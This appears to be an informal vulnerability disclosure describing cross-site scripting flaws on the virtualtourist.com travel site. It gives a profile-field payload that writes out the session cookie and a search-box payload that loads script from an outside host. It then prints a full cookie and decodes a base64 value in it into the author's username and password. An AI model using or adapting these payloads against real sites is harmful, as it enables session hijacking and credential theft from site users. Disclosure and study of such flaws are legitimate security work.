Virtualtourist.com - XSS with cookie disclosure
Virtualtourist.com
Homepage:
http://www.virtualtourist.com
Effected files:
Input boxes of your profile
search destination input box
-------------------------------------------------------
XSS vulnerability with cookie disclosure:
Under the section of "Tell others a little about yourself" the input box "Your
External Homepage" does not correctly filter user data input. We can bypass
this by escaping quotes and using ending tags. For PoC try putting this in the
"Your
external homepage" box:
">">'>'><""><IMG SRC=javascript:document.write(document.cookie)><"<"<"<'<"">
Screenshots:
http://www.youfucktard.com/xsp/virt1.jpg
http://www.youfucktard.com/xsp/virt2.jpg
And below is our cookie data that was written out:
VTGL3=4213; RMID=48960e9c448d1f20; VTVisit=448d1ffd; RMFS=011FphYUU206xzA;
VT=bbd45.443b84e70a5fa06ba8515a
0e0d39db1c|luny666|0|k9pFi7ASw/4c68/7I2/bxg|0|j0qmfs|0|0|UTC;
VTOStamp=448d2150; VTID=NzY5MzQ5fGZ1Y2tpdA==
Now, lets dissect this cookie, I don't know much about it at this time,except a
few things:
VTGL3=4213; (maybe our userid #)
RMID=48960e9c448d1f20; (No idea, Registered Member ID #or hash ? )
VTVisit=448d1ffd; (Virtual Tourist Vist=Possibly random string given to this
session, or page we were on)
RMFS=011FphYUU206xzA; (No idea, Registered Member something ?)
This next part is huge, and in a few sections:
VT=bbd45.443b84e70a5fa06ba8515a0e0d39db1c|luny666|0|k9pFi7ASw/4c68/7I2/bxg|0|j0qmfs|0|0|UTC;
VT=bbd45. (No idea, Virtual Tourist something)
443b84e70a5fa06ba8515a0e0d39db1c (Looks like a md5 hash, am working to find out
if its a pw)
luny666 (This my our username)
0 (No idea, possibly meaning 0, like 1 would mean yes)
k9pFi7ASw/4c68/7I2/bxg (No idea, could be a password)
bxg|0|j0qmfs|0|0|UTC; (No idea)
VTOStamp=448d2150; (VirtualTourist Timestamp string?)
And finally, the best one of all, this one WE DO know what it is:
VTID=NzY5MzQ5fGZ1Y2tpdA==
The above this base64 encoded. When we decode NzY5MzQ5fGZ1Y2tpdA== we see that
it says:
769349|fuckit
And everyone, yes my password for that website is "fuckit". (Don't bother, I
only use this password to audit sites) Now,
we know the users login name (luny666) and password (fuckit).
--------------------------------------------------
XSS Vuln via search destination input box:
For a XSS example try putting:
">">'>'><""><SCRIPT SRC=http://youfucktard.com/xss.js></SCRIPT><"<"<"<'<"">